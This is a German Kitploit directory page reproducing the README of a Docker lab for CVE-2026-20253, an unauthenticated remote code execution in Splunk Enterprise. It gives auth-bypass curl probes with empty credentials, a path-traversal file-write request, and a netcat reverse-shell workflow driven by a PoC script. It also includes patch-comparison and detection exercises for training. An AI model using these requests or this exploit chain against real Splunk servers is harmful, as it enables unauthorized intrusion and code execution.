Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-20253 — Docker-Lab-Umgebung mit PoC-Exploit und Checker für CVE-2026-20253, eine Pre-Auth-RCE in Splunk Enterprise über den PostgreSQL-Sidecar-Dienst. | Kitploit
Tools/GitHubGitHub/ivanesk315/cve-2026-20253
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed TeamingLabs & Praxis
GitHubivanesk315/cve-2026-20253

CVE-2026-20253

Docker-Lab-Umgebung mit PoC-Exploit und Checker für CVE-2026-20253, eine Pre-Auth-RCE in Splunk Enterprise über den PostgreSQL-Sidecar-Dienst.

Repository anzeigen
vor 18h 22mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-20253 Laborumgebung

Splunk Enterprise Pre-Auth RCE über PostgreSQL-Sidecar-Dienst

CVECVE-2026-20253
CVSS9.8 (Kritisch)
TypUnauthentifizierte Remote-Code-Ausführung
CWECWE-306: Fehlende Authentifizierung für kritische Funktion
ProduktSplunk Enterprise 10.0.x / 10.2.x

HAFTUNGSAUSSCHLUSS: Dieses Lab dient ausschließlich autorisierter Sicherheitsforschung, Schulung und Penetrationstests. Verwenden Sie es nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben.


Lab-Architektur

root@kitploit:~
┌──────────────────────────────────────────────────────┐
│                  Docker Network: cve-lab             │
│                  Subnet: 172.20.0.0/24               │
│                                                      │
│  ┌─────────────────────┐   ┌──────────────────────┐  │
│  │  splunk-vulnerable   │   │  attacker            │  │
│  │  172.20.0.10         │   │  172.20.0.50         │  │
│  │                      │   │                      │  │
│  │  Splunk 10.2.3       │   │  Python 3.11         │  │
│  │  Port 8000 (Web)     │   │  nmap, netcat        │  │
│  │  Port 8089 (API)     │   │  postgresql-client   │  │
│  │  Port 8088 (HEC)     │   │  tcpdump             │  │
│  └─────────────────────┘   └──────────────────────┘  │
│                                                      │
│  ┌─────────────────────┐  (optional, profile: patched)│
│  │  splunk-patched      │                             │
│  │  172.20.0.11         │                             │
│  │  Splunk 10.2.4       │                             │
│  │  Port 8001 (Web)     │                             │
│  └─────────────────────┘                             │
└──────────────────────────────────────────────────────┘

Voraussetzungen

  • Docker & Docker Compose
  • Git
  • 8GB+ RAM (Splunk benötigt erheblichen Speicher)
  • Internetzugang (zum Herunterladen der Docker-Images)

Schnellstart

1. Starten Sie das verwundbare Lab

root@kitploit:~
# Start Splunk vulnerable + attacker
docker-compose up -d

# Wait for Splunk to initialize (~2-3 minutes)
docker-compose logs -f splunk-vulnerable
# Look for: "Ansible playbook complete, will begin polling for Splunk On..."
# Then:     "Splunk is ready"

2. Überprüfen Sie, ob Splunk läuft

  • Browser öffnen: http://localhost:8000
  • Anmeldung: admin / ChangeMeNow!

3. Führen Sie den Schwachstellen-Checker aus

root@kitploit:~
# From host machine
docker exec -it attacker python checker.py -t http://172.20.0.10:8000 -k

# Or enter the attacker container
docker exec -it attacker bash
cd /opt/exploit
python checker.py -t http://172.20.0.10:8000 -k

4. Führen Sie den PoC-Exploit aus

root@kitploit:~
# Enter attacker container
docker exec -it attacker bash

# Check vulnerability
python poc.py -t http://172.20.0.10:8000 --check -k

# Full RCE exploit (start listener first in another terminal)
# Terminal 1 - Listener:
docker exec -it attacker nc -lvnp 4444

# Terminal 2 - Exploit:
docker exec -it attacker python poc.py \
    -t http://172.20.0.10:8000 \
    --rce \
    --lhost 172.20.0.50 \
    --lport 4444 \
    -k

5. (Optional) Starten Sie die gepatchte Version zum Vergleich

root@kitploit:~
docker-compose --profile patched up -d splunk-patched

# Test against patched instance (should return NOT VULNERABLE)
docker exec -it attacker python checker.py -t http://172.20.0.11:8000 -k

Lab-Übungen

Übung 1: Aufklärung & Identifizierung von Schwachstellen

Ziel: Identifizieren Sie die PostgreSQL-Sidecar-Endpunkte und überprüfen Sie die Auth-Umgehung.

root@kitploit:~
# Scan Splunk ports
nmap -sV 172.20.0.10 -p 8000,8089,8088

# Probe sidecar endpoints manually with curl
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/status"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup"

Fragen:

  • Welche HTTP-Statuscodes beobachten Sie?
  • Was dekodiert Authorization: Basic Og==?
  • Warum deutet eine 400-Antwort auf eine Schwachstelle hin (im Gegensatz zu 401)?

Übung 2: File-Write-Primitive

Ziel: Demonstrieren Sie die Erstellung beliebiger Dateien auf dem Splunk-Server.

root@kitploit:~
# Create a test file via the backup endpoint
curl -k -X POST -u ":" \
  "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup?backupFile=../../../../../../tmp/pwned"

# Verify the file was created
docker exec splunk-vulnerable ls -la /tmp/pwned

Übung 3: Vollständige RCE-Kette

Ziel: Erreichen Sie Code-Ausführung auf dem Splunk-Server.

  1. Starten Sie einen netcat-Listener auf der Angreifer-Maschine
  2. Führen Sie den PoC-Exploit mit dem --rce-Flag aus
  3. Überprüfen Sie die Reverse-Shell-Verbindung
  4. Untersuchen Sie, welche Berechtigungen die Shell hat (whoami, id, ls /opt/splunk/etc/)

Übung 4: Patch-Diff-Analyse

Ziel: Verstehen Sie, was sich zwischen verwundbaren und gepatchten Versionen geändert hat.

root@kitploit:~
# Start both vulnerable and patched instances
docker-compose --profile patched up -d

# Compare responses
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"  # 400
curl -v -k -u ":" "http://172.20.0.11:8000/en-US/splunkd/__raw/v1/postgres/health"  # 401

# Diff the relevant Splunk configuration/code
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
docker exec splunk-patched cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf

Übung 5: Detection Engineering

Ziel: Erstellen Sie Erkennungsregeln für diese Schwachstelle.

  1. Aktivieren Sie die interne Splunk-Protokollierung auf der verwundbaren Instanz
  2. Führen Sie den Exploit aus
  3. Suchen Sie in index=_internal nach Artefakten des Angriffs
  4. Schreiben Sie SPL-Erkennungsabfragen (siehe report/ANALYSIS.md Abschnitt 6)
  5. Testen Sie Ihre Erkennungen gegen den Exploit

Dateistruktur

root@kitploit:~
CVE-2026-20253/
├── README.md                    # This file
├── docker-compose.yml           # Lab environment definition
├── attacker/
│   ├── Dockerfile               # Attacker container build
│   └── requirements.txt         # Python dependencies
├── exploit/
│   ├── checker.py               # Vulnerability checker script
│   ├── poc.py                   # PoC exploit (auth bypass → file write → RCE)
│   └── requirements.txt        # Python dependencies
└── report/
    └── ANALYSIS.md              # Root cause analysis & full report

Debugging-Tipps

Splunk-Container startet nicht

root@kitploit:~
docker-compose logs splunk-vulnerable
# Common fix: increase Docker memory to 8GB+

Überprüfen Sie, ob der PostgreSQL-Sidecar läuft

root@kitploit:~
docker exec splunk-vulnerable ps aux | grep postgres
docker exec splunk-vulnerable netstat -tlnp | grep 5435

Untersuchen Sie die internen Splunk-Protokolle

root@kitploit:~
docker exec splunk-vulnerable cat /opt/splunk/var/log/splunk/splunkd.log | tail -50

Überprüfen Sie das modulare Eingabeskript des Ziels

root@kitploit:~
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py

Erfassen Sie den Netzwerkverkehr zur Analyse

root@kitploit:~
docker exec attacker tcpdump -i eth0 -w /opt/exploit/capture.pcap host 172.20.0.10

Bereinigung

root@kitploit:~
# Stop and remove all containers
docker-compose --profile patched down

# Remove volumes (delete all Splunk data)
docker-compose --profile patched down -v

# Remove Docker images
docker rmi splunk/splunk:10.2.3 splunk/splunk:10.2.4

Referenzen

  • Vollständige Ursachenanalyse
  • Splunk Advisory SVD-2026-0610
  • WatchTowr Labs Analyse & PoC
  • CISA KEV-Katalog
  • Picus Security Technischer Writeup
Tool herunterladen